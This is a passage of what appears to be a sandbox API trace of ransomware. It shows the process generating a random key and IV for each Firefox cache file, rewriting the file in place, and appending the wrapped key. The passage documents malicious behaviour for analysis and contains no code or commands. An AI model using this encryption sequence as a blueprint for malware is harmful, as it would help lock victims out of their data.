pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed5c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed5c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.573] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed5c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed5c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.574] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.574] CloseHandle (hObject=0x1b80) returned 1 [0183.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed2a8 | out: pbBuffer=0x30ed2a8) returned 1 [0183.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E2516D950295AF7E41F2D3F7C3A5D41E2BE62F25", dwFileAttributes=0x80) returned 1 [0183.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee328 [0183.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.581] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1516, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1516, lpOverlapped=0x0) returned 1 [0183.587] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5398, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.587] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0598*, nNumberOfBytesToWrite=0x1516, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1516, lpOverlapped=0x0) returned 1 [0183.588] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1516 [0183.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed2a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed2a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.588] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed2a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed2a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.589] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.589] CloseHandle (hObject=0x1b80) returned 1 [0183.590] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ecd80 | out: pbBuffer=0x30ecd80) returned 1 [0183.590] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0183.590] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E1D096CAF9A69514FA64B75AE074940EA158AB01", dwFileAttributes=0x80) returned 1 [0183.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30edcf8 [0183.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.591] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0183.599] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.599] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f01c0*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f01c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1139, lpOverlapped=0x0) returned 1 [0183.600] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1139 [0183.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ecd80*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ecd80*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.600] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ecd80*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ecd80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.601] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.601] CloseHandle (hObject=0x1b80) returned 1 [0183.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec330 | out: pbBuffer=0x30ec330) returned 1 [0183.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.602] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E1BC6A923627E0CE8F0C91AFD6BFC64BC126757B", dwFileAttributes=0x80) returned 1 [0183.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ecd80 [0183.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.603] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0183.604] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.604] WriteFile (in: hFile=0x1b80, lpBuffer=0x30effb0*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30effb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0183.605] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf30 [0183.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec330*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec330*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.605] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec330*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec330*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.605] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.606] CloseHandle (hObject=0x1b80) returned 1 [0183.608] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec960 | out: pbBuffer=0x30ec960) returned 1 [0183.608] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.608] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E15FBD4CC8ACB929DDBBF5236C2285581B3AAAE6", dwFileAttributes=0x80) returned 1 [0183.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb9e8 [0183.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.608] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0183.620] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.620] WriteFile (in: hFile=0x1b80, lpBuffer=0x30effb0*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30effb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0183.620] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf30 [0183.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.621] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec960*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec960*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.621] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.621] CloseHandle (hObject=0x1b80) returned 1 [0183.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec330 | out: pbBuffer=0x30ec330) returned 1 [0183.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.623] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E0E842CE092A1406147C113A64AF2D607E5F714C", dwFileAttributes=0x80) returned 1 [0183.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec960 [0183.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.624] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef3e8, nNumberOfBytesToRead=0x69, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef3e8*, lpNumberOfBytesRead=0x2e1f9bc*=0x69, lpOverlapped=0x0) returned 1 [0183.625] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.625] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef370*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef370*, lpNumberOfBytesWritten=0x2e1f9bc*=0x69, lpOverlapped=0x0) returned 1 [0183.625] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x69 [0183.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec330*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec330*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.625] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec330*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec330*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.626] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.626] CloseHandle (hObject=0x1b80) returned 1 [0183.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb9e8 | out: pbBuffer=0x30eb9e8) returned 1 [0183.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.628] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E05851F91D84676AE62F23690C7CDA22080CEBD8", dwFileAttributes=0x80) returned 1 [0183.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec330 [0183.629] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.629] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0183.630] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.630] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0183.631] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0183.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb9e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb9e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.631] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb9e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb9e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.632] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.632] CloseHandle (hObject=0x1b80) returned 1 [0183.636] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec960 | out: pbBuffer=0x30ec960) returned 1 [0183.636] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.636] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DFCB16D54D5A09081967529D94071BECB7538B0C", dwFileAttributes=0x80) returned 1 [0183.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb4c0 [0183.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.637] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x1a48, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a48, lpOverlapped=0x0) returned 1 [0183.638] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.638] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f12d0*, nNumberOfBytesToWrite=0x1a48, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f12d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a48, lpOverlapped=0x0) returned 1 [0183.639] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a48 [0183.639] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.639] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec960*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.639] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec960*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec960*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.639] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.640] CloseHandle (hObject=0x1b80) returned 1 [0183.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ec330 | out: pbBuffer=0x30ec330) returned 1 [0183.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0183.642] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DFA4DCBD00F487C38C27814196372718835B7FAE", dwFileAttributes=0x80) returned 1 [0183.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec960 [0183.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.644] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0183.645] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.645] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0183.646] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0183.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ec330*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ec330*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.647] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ec330*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ec330*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.647] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.648] CloseHandle (hObject=0x1b80) returned 1 [0183.649] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eb6d0 | out: pbBuffer=0x30eb6d0) returned 1 [0183.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DDF534463C69F719834EE2B5D801FDBE1C25CF6C", dwFileAttributes=0x80) returned 1 [0183.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eb8e0 [0183.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.650] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x11aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x11aa, lpOverlapped=0x0) returned 1 [0183.656] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4522, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.656] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0a38*, nNumberOfBytesToWrite=0x11aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0a38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11aa, lpOverlapped=0x0) returned 1 [0183.657] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11aa [0183.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eb6d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eb6d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.657] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eb6d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eb6d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.658] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.658] CloseHandle (hObject=0x1b80) returned 1 [0183.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ecd80 | out: pbBuffer=0x30ecd80) returned 1 [0183.660] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.660] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DDD3CCBC5B9060DF64802E72007266B115EE1FC2", dwFileAttributes=0x80) returned 1 [0183.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ec960 [0183.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.661] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x66d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x66d, lpOverlapped=0x0) returned 1 [0183.662] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.662] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x66d, 